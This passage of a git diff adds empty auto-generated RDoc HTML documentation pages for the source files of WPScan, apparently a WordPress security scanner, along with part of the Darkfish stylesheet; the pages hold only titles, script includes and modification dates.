+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-15 08:01:52 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/wp_timthumbs_rb.html b/doc/lib/wpscan/modules/wp_timthumbs_rb.html
new file mode 100644
index 00000000..4789dce4
--- /dev/null
+++ b/doc/lib/wpscan/modules/wp_timthumbs_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_timthumbs.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 19:40:38 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/wp_usernames_rb.html b/doc/lib/wpscan/modules/wp_usernames_rb.html
new file mode 100644
index 00000000..c392b132
--- /dev/null
+++ b/doc/lib/wpscan/modules/wp_usernames_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_usernames.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:01:32 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/msfrpc_client_rb.html b/doc/lib/wpscan/msfrpc_client_rb.html
new file mode 100644
index 00000000..80593e0b
--- /dev/null
+++ b/doc/lib/wpscan/msfrpc_client_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: msfrpc_client.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-21 23:32:27 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/vulnerable_rb.html b/doc/lib/wpscan/vulnerable_rb.html
new file mode 100644
index 00000000..7c603908
--- /dev/null
+++ b/doc/lib/wpscan/vulnerable_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: vulnerable.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 21:23:01 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_detector_rb.html b/doc/lib/wpscan/wp_detector_rb.html
new file mode 100644
index 00000000..bdc256ac
--- /dev/null
+++ b/doc/lib/wpscan/wp_detector_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_detector.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 19:40:56 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_enumerator_rb.html b/doc/lib/wpscan/wp_enumerator_rb.html
new file mode 100644
index 00000000..f64c7577
--- /dev/null
+++ b/doc/lib/wpscan/wp_enumerator_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_enumerator.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 22:46:23 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_options_rb.html b/doc/lib/wpscan/wp_options_rb.html
new file mode 100644
index 00000000..2cae4d51
--- /dev/null
+++ b/doc/lib/wpscan/wp_options_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_options.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 19:35:16 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_plugin_rb.html b/doc/lib/wpscan/wp_plugin_rb.html
new file mode 100644
index 00000000..2ae3a21a
--- /dev/null
+++ b/doc/lib/wpscan/wp_plugin_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_plugin.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 19:59:17 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_target_rb.html b/doc/lib/wpscan/wp_target_rb.html
new file mode 100644
index 00000000..366fa012
--- /dev/null
+++ b/doc/lib/wpscan/wp_target_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_target.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-24 22:32:05 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_theme_rb.html b/doc/lib/wpscan/wp_theme_rb.html
new file mode 100644
index 00000000..105bcd25
--- /dev/null
+++ b/doc/lib/wpscan/wp_theme_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_theme.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 19:56:18 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_version_rb.html b/doc/lib/wpscan/wp_version_rb.html
new file mode 100644
index 00000000..e0853401
--- /dev/null
+++ b/doc/lib/wpscan/wp_version_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_version.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-24 18:06:00 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wp_vulnerability_rb.html b/doc/lib/wpscan/wp_vulnerability_rb.html
new file mode 100644
index 00000000..9445d06b
--- /dev/null
+++ b/doc/lib/wpscan/wp_vulnerability_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_vulnerability.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 16:11:58 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wpscan_helper_rb.html b/doc/lib/wpscan/wpscan_helper_rb.html
new file mode 100644
index 00000000..f501b731
--- /dev/null
+++ b/doc/lib/wpscan/wpscan_helper_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wpscan_helper.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 23:14:35 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/wpscan_options_rb.html b/doc/lib/wpscan/wpscan_options_rb.html
new file mode 100644
index 00000000..f62ab684
--- /dev/null
+++ b/doc/lib/wpscan/wpscan_options_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wpscan_options.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:01:32 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpstools/generate_list_rb.html b/doc/lib/wpstools/generate_list_rb.html
new file mode 100644
index 00000000..035ef828
--- /dev/null
+++ b/doc/lib/wpstools/generate_list_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: generate_list.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 16:10:07 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpstools/parse_svn_rb.html b/doc/lib/wpstools/parse_svn_rb.html
new file mode 100644
index 00000000..79aa1869
--- /dev/null
+++ b/doc/lib/wpstools/parse_svn_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: parse_svn.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 16:10:30 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpstools/wpstools_helper_rb.html b/doc/lib/wpstools/wpstools_helper_rb.html
new file mode 100644
index 00000000..73ddd09c
--- /dev/null
+++ b/doc/lib/wpstools/wpstools_helper_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wpstools_helper.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:00:03 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/rdoc.css b/doc/rdoc.css
new file mode 100644
index 00000000..ea914218
--- /dev/null
+++ b/doc/rdoc.css
@@ -0,0 +1,763 @@
+/*
+ * "Darkfish" Rdoc CSS
+ * $Id: rdoc.css 54 2009-01-27 01:09:48Z deveiant $
+ *
+ * Author: Michael Granger <ged@FaerieMUD.org>
+ *
+ */
+
+/* Base Green is: #6C8C22 */
+
+*{ padding: 0; margin: 0; }
+
+body {
+  background: #efefef;
+  font: 14px "Helvetica Neue", Helvetica, Tahoma, sans-serif;
+}
+body.class, body.module, body.file {
+  margin-left: 40px;
+}
+body.file-popup {
+  font-size: 90%;
+  margin-left: 0;
+}
+
+h1 {
+  font-size: 300%;
+  text-shadow: rgba(135,145,135,0.65) 2px 2px 3px;
+  color: #6C8C22;
+}
+h2,h3,h4 { margin-top: 1.5em; }
+
+:link,
+:visited {
+  color: #6C8C22;
+  text-decoration: none;
+}
+:link:hover,
+:visited:hover {
+  border-bottom: 1px dotted #6C8C22;
+}
+
+pre {
+  background: #ddd;
+  padding: 0.5em 0;
+}
+
+
+/* @group Generic Classes */
+
+.initially-hidden {
+  display: none;
+}
+
+.quicksearch-field {
+  width: 98%;
+  background: #ddd;
+  border: 1px solid #aaa;
+  height: 1.5em;
+  -webkit-border-radius: 4px;
+}
+.quicksearch-field:focus {
+  background: #f1edba;
+}
+
+.missing-docs {
+  font-size: 120%;
+  background: white url(images/wrench_orange.png) no-repeat 4px center;
+  color: #ccc;
+  line-height: 2em;
+  border: 1px solid #d00;
+  opacity: 1;
+  padding-left: 20px;
+  text-indent: 24px;
+  letter-spacing: 3px;
+  font-weight: bold;
+  -webkit-border-radius: 5px;
+  -moz-border-radius: 5px;
+}
+
+.target-section {
+  border: 2px solid #dcce90;
+  border-left-width: 8px;
+  padding: 0 1em;
+  background: #fff3c2;
+}
+
+/* @end */
+
+
+/* @group Index Page, Standalone file pages */
+body.indexpage {
+  margin: 1em 3em;
+}
+body.indexpage p,
+body.indexpage div,
+body.file p {
+  margin: 1em 0;
+}
+
+.indexpage .rdoc-list p, .file .rdoc-list p {
+  margin: 0em 0;
+}
+
+.indexpage ol,
+.file #documentation ol {
+  line-height: 160%;
+}
+
+.indexpage ul,
+.file #documentation ul {
+  line-height: 160%;
+  list-style: none;
+}
+.indexpage ul :link,
+.indexpage ul :visited {
+  font-size: 16px;
+}
+
+.indexpage li,
+.file #documentation li {
+  padding-left: 20px;
+}
+
+.indexpage ol,
+.file #documentation ol {
+  margin-left: 20px;
+}
+
